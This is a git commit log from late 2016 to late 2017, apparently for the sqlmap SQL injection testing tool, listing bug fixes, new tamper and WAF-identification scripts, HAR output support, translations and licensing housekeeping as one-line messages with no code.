Miroslav Stampar 12b331170b Minor bug fix 2017-10-12 15:08:09 +02:00
Miroslav Stampar 3ca4b7c0a9 Update for #1881 (unix_md5_passwd and apache_md5_passwd) 2017-10-12 15:05:32 +02:00
Miroslav Stampar f9de8a8b5d Minor update 2017-10-11 15:36:59 +02:00
Miroslav Stampar 9ba5feba03 Simplification of LICENSE as per Github's 'Licensing a repository' guidelines 2017-10-11 15:11:17 +02:00
Miroslav Stampar 8c6b761044 Replacing doc/COPYING to LICENSE 2017-10-11 14:50:46 +02:00
Miroslav Stampar a2d465aa4a Moving doc/COPYING to LICENSE (as per open-source community standards) 2017-10-11 14:43:03 +02:00
Miroslav Stampar d80f108365 Adding CODE_OF_CONDUCT.md 2017-10-11 14:32:00 +02:00
Miroslav Stampar 91d918096f Moving CONTRIBUTING.md to .github folder 2017-10-11 14:29:22 +02:00
Miroslav Stampar 936b1c1874 Adding .github directory 2017-10-11 14:26:35 +02:00
Miroslav Stampar c768fe4617 Changing file permissions to remove execute bit 2017-10-11 14:16:48 +02:00
Miroslav Stampar b7db28a89b Minor refactoring (unused imports) 2017-10-10 16:14:39 +02:00
Miroslav Stampar 94a337b2e3 Implementation for an Issue #1306 2017-10-10 16:08:13 +02:00
Miroslav Stampar df135a5b0c Sponsorship update (link) 2017-10-10 14:27:10 +02:00
Miroslav Stampar d8caf7818d Sponsorship update (bold text) 2017-10-10 14:20:56 +02:00
Miroslav Stampar a450271e6d Update README.md 2017-10-10 13:57:41 +02:00
Miroslav Stampar 339dc7ce37 Sponsorship update 2017-10-10 13:46:45 +02:00
Miroslav Stampar 5df7abb0ee Fixes #2737 2017-10-10 11:04:17 +02:00
Miroslav Stampar 1f5f2aff0b Adding support for Bing (as a fallback) 2017-10-09 14:25:08 +02:00
Miroslav Stampar 8c88a095fb disconnect.me turned into a DuckDuckGo proxy 2017-10-09 14:07:27 +02:00
Miroslav Stampar 09ddb3bd8b Minor update for #2731 (--smoke-test failed) 2017-10-04 14:02:47 +02:00
Miroslav Stampar d2af0c7a1f Merge pull request #2731 from eur0pa/patch-1
Added Unicode-escape tamper script
2017-10-04 13:57:35 +02:00
europa 3fbe2f645a Added Unicode-escape tamper script 2017-10-04 12:22:31 +02:00
Miroslav Stampar f1c102a020 Minor touch for internal re-hashing purposes 2017-10-02 16:32:37 +02:00
Miroslav Stampar 834ea2d0d8 Merge pull request #2728 from syedafzal/add_new_waf
Added identification for waf NAXSI
2017-10-02 16:29:47 +02:00
Syed Afzal ae972de8fc Added identification for waf NAXSI 2017-10-01 22:15:02 +05:30
Miroslav Stampar 62519eed04 Minor patch (breaking lines on longer outputs - 100%) 2017-09-26 13:18:37 +02:00
Miroslav Stampar 222fd856fa Implementation for #2709 2017-09-25 11:32:40 +02:00
Miroslav Stampar db94d24db1 Initial support for #2709 (more work to be done) 2017-09-21 14:35:24 +02:00
Miroslav Stampar 116c1c8b5c Minor refactoring 2017-09-20 15:49:18 +02:00
Miroslav Stampar afc2a42383 Revisiting regexes for DBMS errors 2017-09-20 15:28:33 +02:00
Miroslav Stampar 44664dd7d6 Minor update (based on user request) 2017-09-19 14:36:34 +02:00
Miroslav Stampar 35ba94b3a9 Fixes #2696 2017-09-17 23:56:48 +02:00
Miroslav Stampar 24c261d630 Minor patch 2017-09-17 23:12:57 +02:00
Miroslav Stampar 6a8ea0557c Minor update 2017-09-15 14:23:55 +02:00
Miroslav Stampar 721bf4d243 Minor update related to the #2695 2017-09-14 13:28:24 +02:00
Miroslav Stampar e02ce4eb1f Merge pull request #2695 from Zwirzu/master
Created polish translaton
2017-09-14 13:24:35 +02:00
Zwirzu 2f8e8a5f62 Created polish translaton
I just translated Readme.md to polish.
2017-09-14 00:03:24 +02:00
Miroslav Stampar 7de63a7efb Fixes #2694 2017-09-12 10:32:22 +02:00
Miroslav Stampar 12f802c70f Minor text update 2017-09-11 10:41:50 +02:00
Miroslav Stampar 96ffb4b911 Fixes #2693 2017-09-11 10:38:19 +02:00
Miroslav Stampar 93cb879e5d Fixes #2692 2017-09-11 10:17:02 +02:00
Miroslav Stampar f67f26cebd Minor update 2017-09-11 10:00:35 +02:00
Miroslav Stampar 942ac7733a Fixes #2691 2017-09-09 22:27:40 +02:00
Miroslav Stampar 2496db9d96 Update for #2690 2017-09-08 11:59:26 +02:00
Miroslav Stampar a3249019d9 Patch for an Issue #2690 2017-09-08 11:43:10 +02:00
Miroslav Stampar 96f80879ff Fixes #2688 2017-09-06 23:41:56 +02:00
Miroslav Stampar 96b9950f96 Fixes #2684 2017-09-05 13:13:08 +02:00
Miroslav Stampar 30ea219228 Fixes #2604 2017-09-05 12:48:51 +02:00
Miroslav Stampar 7c41bc57e7 Fixes #2683 2017-09-05 10:51:58 +02:00
Miroslav Stampar e609bd04ad Fixes #2678 2017-09-04 23:00:16 +02:00
Miroslav Stampar 511f2a6d12 Update for #2680 2017-09-04 17:16:00 +02:00
Miroslav Stampar 415ce05a2f Fixes #2677 2017-09-04 17:05:48 +02:00
Miroslav Stampar 06deda3223 Fixes #2672 2017-09-01 14:29:52 +02:00
Miroslav Stampar d4170f11f0 Patch for #2654 2017-08-28 17:29:46 +02:00
Miroslav Stampar cb2258fea4 Fixes #2603 2017-08-28 13:02:08 +02:00
Miroslav Stampar c871cedae4 Adding hidden option '--force-dbms' to skip fingerprinting 2017-08-28 12:30:42 +02:00
Miroslav Stampar 3e4130c5e6 Update for #2665 2017-08-28 11:08:36 +02:00
Miroslav Stampar a6c04a59cb Minor update 2017-08-23 14:10:11 +02:00
Miroslav Stampar 53eb44304f Proper patch for #2666 2017-08-23 14:08:40 +02:00
Miroslav Stampar 400339a884 Fixes #2665 2017-08-23 13:52:51 +02:00
Miroslav Stampar 8b0c50f25d Update related to the #2663 2017-08-23 13:17:37 +02:00
Miroslav Stampar e42b63f51c Typo fix 2017-08-20 10:02:26 +02:00
Miroslav Stampar b8f88a079a Fixes #2659 2017-08-20 10:00:04 +02:00
Miroslav Stampar a761e1d165 Fixes #2656 2017-08-16 03:08:58 +02:00
Miroslav Stampar 5b6926ae05 Fixes #2654 2017-08-11 11:48:05 +02:00
Miroslav Stampar e862da6d4e Update for an Issue #2653 2017-08-11 10:47:32 +02:00
Miroslav Stampar 1ac0704c09 Fixes #2651 2017-08-09 16:52:36 +02:00
Miroslav Stampar b6b51bea9d Fixes #2649 2017-08-07 11:27:22 +02:00
Miroslav Stampar 672abe8416 Minor just in case update 2017-08-04 13:59:15 +02:00
Miroslav Stampar fac6712a35 Implements #2647 (Basic authorization for sqlmapapi) 2017-08-04 13:37:49 +02:00
Miroslav Stampar 68ee1f361b Fixes #2640 2017-07-31 14:20:59 +02:00
Miroslav Stampar 62ae149464 Minor patch 2017-07-29 03:35:05 +02:00
Miroslav Stampar f071c8500c Fixes #2634 2017-07-29 03:18:49 +02:00
Miroslav Stampar 5745d650f8 Fixes #2635 2017-07-29 02:42:20 +02:00
Miroslav Stampar de8ea53d46 Fixes #2628 2017-07-28 00:37:33 +02:00
Miroslav Stampar 23081f83db Fixes #2626 2017-07-28 00:16:06 +02:00
Miroslav Stampar 4d56a806e8 Minor patch 2017-07-28 00:00:09 +02:00
Miroslav Stampar 1745bac0ab Fixes #2625 2017-07-26 00:54:29 +02:00
Miroslav Stampar 0f9c81965b Implementation on request 2017-07-26 00:24:13 +02:00
Miroslav Stampar d12b65d38c Fixes #2624 2017-07-25 23:32:30 +02:00
Miroslav Stampar 38c70d9799 Minor update 2017-07-21 11:09:00 +02:00
Miroslav Stampar a9a744fec6 Merge pull request #2620 from delvelabs/mark-steps-in-har
Fix HAR validation for HAR viewer
2017-07-21 11:07:16 +02:00
Louis-Philippe Huberdeau 3c5ee552f0 Make sure non-optional properties are present 2017-07-20 08:50:03 -04:00
Miroslav Stampar 8ca45695ab Minor update 2017-07-20 03:09:09 +02:00
Miroslav Stampar bf40526785 Merge pull request #2618 from delvelabs/mark-steps-in-har
Mark steps in HAR file
2017-07-20 02:52:57 +02:00
Miroslav Stampar 9b41efcbe1 Minor patch 2017-07-20 02:50:34 +02:00
Miroslav Stampar 36f3fd72e6 Update for an Issue #2616 2017-07-20 02:41:47 +02:00
Louis-Philippe Huberdeau facc54f60b Receiving some messages with a differerent header line 2017-07-19 15:40:07 -04:00
Louis-Philippe Huberdeau 4c7da11331 Make sure the comment is not set to None 2017-07-19 14:46:36 -04:00
Louis-Philippe Huberdeau e21f67715c List is not a valid input type for timings, expecting object 2017-07-19 14:12:30 -04:00
Louis-Philippe Huberdeau e38267a61e Include tracking properties in the HAR to identify which test the requests were associated to 2017-07-18 15:46:52 -04:00
Miroslav Stampar 7d147f613f Fixes #2611 2017-07-17 22:24:51 +02:00
Miroslav Stampar 591a60bbde Fixes #2606 2017-07-11 14:48:22 +02:00
Miroslav Stampar 3f40bf1101 Fixes #2387 2017-07-06 11:44:18 +02:00
Miroslav Stampar d248317b89 Update for people that just download 'sqlmap.py' <- they exist 2017-07-05 16:42:54 +02:00
Miroslav Stampar 75fd878242 Minor patch 2017-07-05 15:41:53 +02:00
Miroslav Stampar 30378c8ae3 Minor patch 2017-07-05 15:27:29 +02:00
Miroslav Stampar c9b3b47d6f Minor update 2017-07-05 14:07:21 +02:00
Miroslav Stampar d038d027f9 Minor updates 2017-07-05 13:51:48 +02:00
Miroslav Stampar c6577b80d9 Minor update 2017-07-05 13:35:02 +02:00
Miroslav Stampar 4a4fa07bdd Minor update 2017-07-05 12:35:48 +02:00
Miroslav Stampar a4ebd5418f Patch for an Issue reported privately via email 2017-07-05 12:15:14 +02:00
Miroslav Stampar ba369b73d3 Fixes #2601 2017-07-05 11:31:42 +02:00
Miroslav Stampar 614f290217 Update for #2597 2017-07-04 12:14:17 +02:00
Miroslav Stampar 1678b606a2 Update for #2597 2017-07-03 16:55:24 +02:00
Miroslav Stampar aef5d6667f Merge pull request #2597 from delvelabs/generate-har
Generate HAR
2017-07-03 15:27:00 +02:00
Miroslav Stampar b622c25f9d Fixes #2598 2017-07-03 14:17:11 +02:00
Miroslav Stampar e07ff7168b Fixes #2599 2017-07-02 00:03:34 +02:00
Miroslav Stampar ce48217ada Minor update 2017-07-01 23:46:28 +02:00
Louis-Philippe Huberdeau b6969df52a Add missing httpVersion in request render, avoid encoding to base64 unless binary data is included 2017-06-29 10:14:20 -04:00
Miroslav Stampar 0e728aa73e Changing default encoding of sys.argv 2017-06-29 15:33:34 +02:00
Miroslav Stampar f93c19ba9d Fixes #2596 2017-06-29 15:29:54 +02:00
Louis-Philippe Huberdeau dd19527e9c Remove debug _raw entry from output 2017-06-29 09:00:02 -04:00
Miroslav Stampar a42ddad9c1 Implements #2583 2017-06-29 14:57:35 +02:00
Miroslav Stampar a2973296a2 Fixes #2595 2017-06-29 14:26:25 +02:00
Miroslav Stampar 0961f6a5e9 Fixes #2592 2017-06-23 23:46:25 +02:00
Louis-Philippe Huberdeau fae965f8b6 Parse and build the response block 2017-06-23 13:28:22 -04:00
Louis-Philippe Huberdeau 0d756a8823 Parse request data and convert to HAR, include in injection data 2017-06-23 11:50:21 -04:00
Louis-Philippe Huberdeau 8df4cc3983 Adding initial hook to receive the request/response pairs 2017-06-23 09:44:33 -04:00
Miroslav Stampar 5ec44b8346 Minor refactoring 2017-06-19 23:06:05 +02:00
Miroslav Stampar d577c57a11 Merge pull request #2590 from neargle/master
append %A0 to the blanks set of tamper/space2mysqlblank
2017-06-19 22:51:21 +02:00
neargle ca24509e19 append %A0 to space2mysqlblank 2017-06-19 22:39:09 +08:00
Miroslav Stampar e2d3187a78 Fixes #2576 2017-06-18 15:00:12 +02:00
Miroslav Stampar b4980778dd Fixes #2577 2017-06-18 14:07:48 +02:00
Miroslav Stampar 71457fea0e Fixes #2585 2017-06-18 13:19:11 +02:00
Miroslav Stampar 34281af3f6 Minor cleaning 2017-06-14 08:13:41 -04:00
Miroslav Stampar 7dbbf3ecf5 Fixes 'codewatchorg/sqlipy/issues/12' 2017-06-07 23:19:19 +02:00
Miroslav Stampar c41c93a404 Fixes #2568 2017-06-07 22:43:28 +02:00
Miroslav Stampar 9a7343e9f7 Fixes #2566 2017-06-07 16:07:27 +02:00
Miroslav Stampar e0401104f2 Minor update 2017-06-07 12:55:14 +02:00
Miroslav Stampar 9da8d55128 Implements #2557 2017-06-07 11:22:06 +02:00
Miroslav Stampar 864711b434 Minor improvement 2017-06-05 16:48:14 +02:00
Miroslav Stampar 996ad59126 Minor patch 2017-06-05 16:28:19 +02:00
Miroslav Stampar 6d48df2454 Fixes #2562 2017-06-05 10:38:05 +02:00
Miroslav Stampar 55a43a837b Minor update 2017-06-02 00:50:00 +02:00
Miroslav Stampar 455d41c6a0 Merge pull request #2555 from SValkanov/master
Bulgarian translation
2017-06-02 00:49:01 +02:00
Miroslav Stampar eb26dd8984 Fixes #2556 2017-06-02 00:44:01 +02:00
SValkanov 0f34300221 Edit Bulgarian translation 2017-06-01 16:51:00 +03:00
SValkanov 93a875ec71 Edit bulgarian translation 2017-06-01 16:07:47 +03:00
SValkanov 0edb4f6680 Added translation for Bulgarian language 2017-06-01 16:05:06 +03:00
Miroslav Stampar b9b5d07336 Cleaning leftover 2017-05-30 11:41:42 +02:00
Miroslav Stampar 5f3235ef57 Fixes #2551 2017-05-30 11:40:06 +02:00
Miroslav Stampar dfe42612be Fixes #2549 2017-05-29 10:57:27 +02:00
Miroslav Stampar a0202f7bfd Fixes #2538 2017-05-26 16:08:30 +02:00
Miroslav Stampar 6dd9d5b2dd Fixes #2547 2017-05-26 14:34:32 +02:00
Miroslav Stampar 0864387885 Minor update 2017-05-26 14:25:22 +02:00
Miroslav Stampar 359bfb2704 Minor adjustment 2017-05-26 14:14:35 +02:00
Miroslav Stampar 644ea2e3aa Minor patch 2017-05-26 14:08:08 +02:00
Miroslav Stampar 071132cd56 Fixes #2543 2017-05-21 22:52:44 +02:00
Miroslav Stampar 7a18dde2e0 Merge pull request #2537 from HerendraTJ/patch-1
Manual Pengguna -> Panduan Pengguna
2017-05-18 12:13:13 +02:00
HerendraTJ e146763399 Manual Pengguna -> Panduan Pengguna
User Manual -> Panduan Pengguna
2017-05-18 12:59:57 +07:00
Miroslav Stampar 4ce08dcfa3 Patch for an Issue #2536 2017-05-17 00:22:18 +02:00
Miroslav Stampar 2ca5ddce5f Fixes #2534 2017-05-15 17:03:05 +02:00
Miroslav Stampar addb2445b7 Minor patch 2017-05-15 00:34:13 +02:00
Miroslav Stampar 4736a525b8 Fixes #2532 2017-05-13 17:28:28 +02:00
Miroslav Stampar d3a08a2d22 Implementation for an Issue #2505 2017-05-07 23:12:42 +02:00
Miroslav Stampar ee5b5cdcbc Fixes #2514 2017-05-04 15:50:34 +02:00
Miroslav Stampar f3f2c81cec Minor patch (UTF8 used for HTTP params) 2017-05-04 15:45:15 +02:00
Miroslav Stampar 1e8df40981 Fixes #2499 2017-05-01 23:21:12 +02:00
Miroslav Stampar 389133654e Fixes #2508 2017-05-01 23:06:37 +02:00
Miroslav Stampar 347ce87e27 Fixes #2511 2017-05-01 22:53:12 +02:00
Miroslav Stampar ff5a954980 Fixes #2508 2017-04-30 08:32:26 +02:00
Miroslav Stampar 1a8de2aee1 Fixes #2504 2017-04-27 13:18:29 +02:00
Miroslav Stampar ab08273d82 Fixes #2501 2017-04-23 23:50:30 +02:00
Miroslav Stampar fbb845ad7c Fixes #2500 2017-04-23 23:30:51 +02:00
Miroslav Stampar 15a1d55812 Fixes #2500 2017-04-23 23:14:05 +02:00
Miroslav Stampar 4643bd6517 Quick patch for #2498 2017-04-21 17:44:51 +02:00
Miroslav Stampar 1c5f01e2a2 Fixes #2487 2017-04-20 11:54:27 +02:00
Miroslav Stampar ebbc68853d Fixes #2496 2017-04-20 10:48:04 +02:00
Miroslav Stampar 3140fd0ca6 Fixes #2495 2017-04-20 10:29:05 +02:00
Miroslav Stampar 5bcbf63ddb Fixes #2491 2017-04-19 16:13:31 +02:00
Miroslav Stampar 01fbda4bc9 Fixes #2490 2017-04-19 16:13:05 +02:00
Miroslav Stampar ba22171a51 PEP 3113 cleanup 2017-04-19 14:56:32 +02:00
Miroslav Stampar fc8eede952 Minor cleanup and one bug fix 2017-04-19 14:46:27 +02:00
Miroslav Stampar c8a0c525fc Fixes #2489 2017-04-19 14:19:39 +02:00
Miroslav Stampar 46c7c28919 Implementation for an Issue #2485 2017-04-19 13:56:29 +02:00
Miroslav Stampar 81e3395975 Minor update 2017-04-19 13:35:36 +02:00
Miroslav Stampar 0340ecd38a Minor patch related to the #2487 2017-04-18 16:49:58 +02:00
Miroslav Stampar 2d05174545 Trivial update 2017-04-18 15:56:24 +02:00
Miroslav Stampar 5f2bb88037 Some code refactoring 2017-04-18 15:48:05 +02:00
Miroslav Stampar 65b02d4ab0 Minor update 2017-04-18 14:22:37 +02:00
Miroslav Stampar ea58d29e2c Minor update 2017-04-18 14:11:23 +02:00
Miroslav Stampar 47e0fc36c7 Minor consistency update 2017-04-18 14:02:25 +02:00
Miroslav Stampar 7ebba5614a Moving brute from techniques to utils 2017-04-18 13:53:41 +02:00
Miroslav Stampar 686f53a7c6 Minor patch 2017-04-16 23:32:58 +02:00
Miroslav Stampar 67a3e8cd75 Minor patch 2017-04-14 13:19:00 +02:00
Miroslav Stampar d9a931f77a Minor cleanup 2017-04-14 13:14:53 +02:00
Miroslav Stampar 0e206da7c0 Minor patches (pydiatra) 2017-04-14 13:08:51 +02:00
Miroslav Stampar 81e6dab965 New extra script 2017-04-14 12:54:33 +02:00
Miroslav Stampar a702dafd03 Fixes #2481 2017-04-14 12:47:24 +02:00
Miroslav Stampar 6b48f6ec26 Merge pull request #2480 from jwilk/spelling
Fix typos
2017-04-14 12:22:15 +02:00
Jakub Wilk 06148cd610 Fix typos 2017-04-14 11:37:54 +02:00
Miroslav Stampar 36dfad192f Better link to user's manual 2017-04-13 12:47:14 +02:00
Miroslav Stampar 9436c43306 Mailing list is dead. Long live the mailing list 2017-04-13 12:40:37 +02:00
Miroslav Stampar c198fd7939 Update for an Issue #13 2017-04-12 10:54:29 +02:00
Miroslav Stampar 1e092c4e8d Just in case update for an Issue #2474 2017-04-11 13:34:40 +02:00
Miroslav Stampar 1e310631ab Minor stability patch 2017-04-11 10:01:37 +02:00
Miroslav Stampar 47ee1a991f Update for an Issue #2472 2017-04-11 09:47:27 +02:00
Miroslav Stampar 9b3d229294 Fixes #2471 2017-04-10 19:21:22 +02:00
Miroslav Stampar c74756c3bc Update regarding the #2467 2017-04-10 16:44:12 +02:00
Miroslav Stampar 1196a1b7f8 Fixes #405 2017-04-10 14:50:17 +02:00
Miroslav Stampar c2262eda1a Update of smalldict.txt with 7 (small) more from SecLists 2017-04-07 16:30:36 +02:00
Miroslav Stampar 02eacc32c1 Minor cleanup 2017-04-07 16:30:02 +02:00
Miroslav Stampar b1a112f72c Updating wordlist.zip file with 15 dicts from SecLists 2017-04-07 16:18:21 +02:00
Miroslav Stampar 464caf056b Minor update 2017-04-07 15:55:18 +02:00
Miroslav Stampar 44c85f8351 Reverting back the bottle.py revision because of numerous Python 2.6 incompatibilities 2017-04-07 15:10:28 +02:00
Miroslav Stampar ad3283fd24 Another Python 2.6 patch 2017-04-07 15:05:54 +02:00
Miroslav Stampar 07208c45ef Patch of bottle.py for Python 2.6 2017-04-07 14:59:24 +02:00
Miroslav Stampar 751f423ae0 Adding latest revision of bottle.py 2017-04-07 14:55:25 +02:00
Miroslav Stampar c124086021 Minor update for #1282 2017-04-07 14:46:41 +02:00
Miroslav Stampar f285bc7459 Minor update 2017-04-07 14:30:52 +02:00
Miroslav Stampar b4c4d3f72a Fixes latest Python 2.6 compatibility issues 2017-04-06 11:37:42 +02:00
Miroslav Stampar cfe34f61b8 Implementation for an Issue #1895 2017-04-06 11:33:59 +02:00
Miroslav Stampar c1c7ea33fe Minor update 2017-03-30 12:05:05 +02:00
Miroslav Stampar 4458a443ef Fixes #1664 2017-03-30 11:58:03 +02:00
Miroslav Stampar 16bd3a1f02 Fixes #2453 2017-03-30 11:42:34 +02:00
Miroslav Stampar a358bc0a38 Minor update 2017-03-30 10:24:57 +02:00
Miroslav Stampar aebae6e27b Added (heuristic) support for #1679 2017-03-30 10:16:35 +02:00
Miroslav Stampar 0a3e771b1b Fixes #2449 2017-03-28 15:22:53 +02:00
Miroslav Stampar f82c0497fa Fixes #2447 2017-03-27 22:36:04 +02:00
Miroslav Stampar 715763885d Fixes #2306 2017-03-24 14:20:18 +01:00
Miroslav Stampar 4aae5d9a9d Fixes #2444 2017-03-19 21:34:47 +01:00
Miroslav Stampar 1bc583d358 Another patch related to the #2440 2017-03-17 09:43:45 +01:00
Miroslav Stampar e506a390db Minor patch (prevent message spamming of multiple union column possibilities) 2017-03-15 16:18:20 +01:00
Miroslav Stampar c5b4af8636 Dummy commit (to provoke rehash) 2017-03-15 16:07:52 +01:00
Miroslav Stampar c29e47f72f Fixes #2440 2017-03-15 16:04:56 +01:00
Miroslav Stampar 4087213501 Merge pull request #2439 from klensy/mysql-fingerprint-update
updated mysql version numbers
2017-03-14 21:15:44 +01:00
klensy e4725366d3 updated mysql version numbers 2017-03-14 15:11:03 +03:00
Miroslav Stampar 60e8c725f9 Fixes #2437 2017-03-12 23:24:13 +01:00
Miroslav Stampar 5dba32b2e1 Fixes #2431 2017-03-12 09:52:37 +01:00
Miroslav Stampar ef04c99069 No more dumb usage of '--dbms' 2017-03-06 12:53:04 +01:00
Miroslav Stampar e2fb16c98c Fixes #2425 2017-03-06 12:05:58 +01:00
Miroslav Stampar d2b16c5c91 Fixes #2422 2017-03-01 11:09:55 +01:00
Miroslav Stampar 9f0c42dde0 Minor leftover 2017-03-01 10:09:13 +01:00
Miroslav Stampar 78ca371162 Adding option --web-root (Issue #2419) 2017-03-01 10:07:26 +01:00
Miroslav Stampar a35c976759 Proper implementation for an Issue #2418 2017-02-28 14:00:42 +01:00
Miroslav Stampar 89e9f4939d Merge pull request #2418 from Ekultek/ip_regex
IP address regex updated to not provide a false positive
2017-02-28 14:00:00 +01:00
Ekultek 71984fc452 updated IP address regex as to not provide false positive 2017-02-28 06:35:37 -06:00
Miroslav Stampar a0a6702a4e Minor patch (reported via ML) 2017-02-28 13:16:19 +01:00
Miroslav Stampar b18444f215 Issue #2417 (most probably -> most likely) 2017-02-27 22:14:52 +01:00
Miroslav Stampar 7ea524800a Taking couple of suggestions from #2417 2017-02-27 22:03:15 +01:00
Miroslav Stampar 7960045cf9 Fixes #2277 and #2300 2017-02-27 13:58:07 +01:00
Miroslav Stampar d253a97a6f Merge pull request #2411 from bbbbbrie/master
Correct typo in basic.py
2017-02-27 12:55:59 +01:00
Brie Carranza 1475ba441c Correct typo in basic.py 2017-02-26 09:05:36 -05:00
Miroslav Stampar b2585cc8ea Patch for #2410 2017-02-25 07:58:59 +01:00
Miroslav Stampar 7b263327cc Update for #2410 2017-02-25 07:54:54 +01:00
Miroslav Stampar cd31bf4ecb Merge pull request #2410 from qnrq/patch-1
Adds option command to api client
2017-02-25 07:47:23 +01:00
Niklas Femerstrand 1b938c758f Adds option command to api client 2017-02-25 10:24:00 +07:00
Miroslav Stampar 5a08b71999 Minor update 2017-02-23 11:36:37 +01:00
Miroslav Stampar 4b420e7579 Removing Google PageRank as it is dead now 2017-02-23 11:33:39 +01:00
Miroslav Stampar 6b580a682a Minor update 2017-02-20 10:06:06 +01:00
Miroslav Stampar d6e7c2acdc Minor touch 2017-02-19 01:48:12 +01:00
Miroslav Stampar 4d3aa1605c Merge pull request #2401 from tomahock/master
Fix proxyFile regex to properly match an address with a -
2017-02-19 01:31:12 +01:00
Tomahock 7fe1820ce4 Fix proxyFile regex to properly match an address with a - 2017-02-17 23:32:32 +00:00
Miroslav Stampar 98e449e38c Adding plus2fnconcat tamper script (Issue #2396) 2017-02-17 10:26:25 +01:00
Miroslav Stampar 9acf122ba6 Patch for an Issue #2396 2017-02-16 16:56:54 +01:00
Miroslav Stampar 2ed144ec85 Patch for wrong encoding reported privately via email 2017-02-16 15:52:07 +01:00
Miroslav Stampar ec0c103952 Bug fix (reported privately) 2017-02-15 10:30:29 +01:00
Miroslav Stampar a35d1e5373 Minor patch related to the email from ML 2017-02-14 13:14:35 +01:00
Miroslav Stampar f5cf22a536 Update for an Issue #2377 2017-02-06 13:57:33 +01:00
Miroslav Stampar 38f16decef Update for an Issue #2384 2017-02-06 13:28:33 +01:00
Miroslav Stampar 15f86e85b1 Minor update for #2379 2017-02-06 12:03:18 +01:00
Miroslav Stampar 5217efc69b Fixes #2379 2017-02-06 12:01:46 +01:00
Miroslav Stampar 03bbf552ef Patch for an Issue #2382 2017-02-06 11:14:45 +01:00
Miroslav Stampar 664684ad8f Update for #2378 2017-02-03 23:04:38 +01:00
Miroslav Stampar ddea0bf6e4 Merge pull request #2378 from samogot/patch-1
Minor parse-error extension
2017-02-03 22:56:05 +01:00
samogot 1c1f259df4 Update settings.py
fix - looking for any tag
2017-02-03 16:50:16 +02:00
samogot 6249823335 Minor parse-error extension
parse errors produced by Yii PHP Framework
2017-02-03 16:36:57 +02:00
Miroslav Stampar bad3f80a1c Touch update 2017-01-31 14:18:36 +01:00
Miroslav Stampar 529089ba5b Merge pull request #2374 from anarcoder/space2morecomment
New space 2 more comment bypass
2017-01-31 14:16:53 +01:00
Miroslav Stampar 9851a5703a Fixes #2373 2017-01-31 14:00:12 +01:00
Daniel Almeida aa9989ff90 [add] new space 2 more comment bypass 2017-01-31 10:50:14 -02:00
Miroslav Stampar 2a3014b606 Fixes #2367 2017-01-24 18:07:06 +01:00
Miroslav Stampar 16d5e22b72 Fixes #2358 2017-01-21 23:58:37 +01:00
Miroslav Stampar a8a6dce38b Fixes #2366 2017-01-21 23:09:15 +01:00
Miroslav Stampar f542e828d2 Fixes #2364 2017-01-20 13:11:12 +01:00
Miroslav Stampar cf182882b1 Minor update 2017-01-18 10:40:39 +01:00
Miroslav Stampar 2224ac76aa Merge pull request #2359 from MyKings/master
Adding new WAF script(TencentCloud)
2017-01-18 10:36:39 +01:00
Miroslav Stampar dd5ac6f1e7 Fixes #2357 2017-01-18 10:33:54 +01:00
Miroslav Stampar 1e7a453ff6 Fixes #2356 2017-01-18 10:19:23 +01:00
MyKings 8a84c252be Adding new WAF script(TencentCloud) 2017-01-18 16:11:03 +08:00
Miroslav Stampar 138aa6db65 Patch for an Issue #2351 2017-01-16 15:23:38 +01:00
Miroslav Stampar 121f0376ea Implementation for #2351 2017-01-16 14:29:23 +01:00
Miroslav Stampar dfc684640a Proper implementation for #2347 2017-01-16 14:01:44 +01:00
Miroslav Stampar 104fbc80af Patch for #2348 2017-01-16 13:53:46 +01:00
Miroslav Stampar cadba37059 Proper implementation for #2350 2017-01-16 13:44:46 +01:00
Miroslav Stampar 750d57ec96 Fixed bug reported privately via email 2017-01-13 14:41:41 +01:00
Miroslav Stampar 9a86365d92 Fixes #2333 2017-01-08 01:21:31 +01:00
Miroslav Stampar f794d9d5a5 Fixes #2328 2017-01-02 15:26:32 +01:00
Miroslav Stampar c29db43bfa Minor refactoring 2017-01-02 15:14:59 +01:00
Miroslav Stampar e0eeed0a96 Minor update 2017-01-02 14:31:19 +01:00
Miroslav Stampar 55272f7a3b New version preparation 2017-01-02 14:19:18 +01:00
Miroslav Stampar 6ff07f01eb Fixes #2326 2016-12-31 13:39:22 +01:00
Miroslav Stampar 1c737d7515 Fixes #2322 2016-12-28 22:11:14 +01:00
Miroslav Stampar 2fa5341879 Merge pull request #2323 from CoresecSystems/master
Fix the logic used for --param-exclude
2016-12-28 21:44:46 +01:00
Francisco Blas Izquierdo Riera (klondike) 025e9ac5b4 Fix the logic used for --param-exclude
The current logic will skip all existing parameters if no param-exclude is defined.
This breaks previous behaviour, makes it harder to use the tool and is quite confusing.

The new logic will always check the parameter is set before running any other checks instead of shortcircuit an empoty(always true) regexp.
2016-12-28 12:25:05 +01:00
Miroslav Stampar 89bbf5284c Adding new option --param-exclude on private request 2016-12-25 23:16:44 +01:00
Miroslav Stampar 44b00d629d Fixes #2312 2016-12-21 10:33:35 +01:00
Miroslav Stampar afc3b30c41 Minor refactoring 2016-12-20 09:56:44 +01:00
Miroslav Stampar 17c556a63d Minor patches (and one bug from ML) 2016-12-20 09:53:44 +01:00
Miroslav Stampar edc6f47758 Some refactoring 2016-12-19 23:47:39 +01:00
Miroslav Stampar bb6e8fd4ce Minor bug fix (reported privately via email) 2016-12-15 16:09:09 +01:00
Miroslav Stampar c54c2204a1 Fixes #2303 2016-12-12 10:47:05 +01:00
Miroslav Stampar f7f33bef9f Minor patches 2016-12-09 23:19:03 +01:00
Miroslav Stampar 4bd7d81cea Patches #2300 2016-12-09 23:14:18 +01:00
Miroslav Stampar f6815df5c3 Fixes #2302 2016-12-09 23:10:14 +01:00
Miroslav Stampar 42cea2e03c Better git clone (faster; without too much commit history) 2016-12-08 11:04:42 +01:00
Miroslav Stampar 52177065ca Patch for an Issue #2297 2016-12-06 15:43:09 +01:00
Miroslav Stampar e74149970b Minor debug update 2016-12-03 22:06:18 +01:00
Miroslav Stampar 90b0ac37c8 New WAF script (AWS WAF) 2016-12-01 23:09:06 +01:00
Miroslav Stampar 63a74777f2 Minor update 2016-12-01 23:08:49 +01:00
Miroslav Stampar 4ac319b074 Adding new tamper script plus2concat (thank you Luka Pusic) 2016-12-01 22:28:07 +01:00
Miroslav Stampar 2a754eef1c Adding switch --ignore-redirects (Issue #2286) 2016-11-25 13:32:28 +01:00
Miroslav Stampar 4e1bdb0c70 Minor update 2016-11-25 12:34:13 +01:00
Miroslav Stampar c35ba8b226 Fixes #2279 2016-11-17 22:34:10 +01:00
Miroslav Stampar 7e6879ec41 Minor patch for #2272 2016-11-11 13:46:41 +01:00
